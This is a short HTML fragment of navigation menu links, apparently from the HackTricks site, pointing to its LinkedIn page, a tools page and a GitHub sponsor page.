<a href="https://www.linkedin.com/company/hacktricks" target="_blank" role="menuitem" class="menu-bar-link">Linkedin</a>
<a href="https://tools.hacktricks.wiki/" target="_blank" role="menuitem" class="menu-bar-link">HT Tools</a>
<a href="https://github.com/sponsors/carlospolop" target="_blank" role="menuitem" class="menu-bar-link">Sponsor</a>
</div>
</div>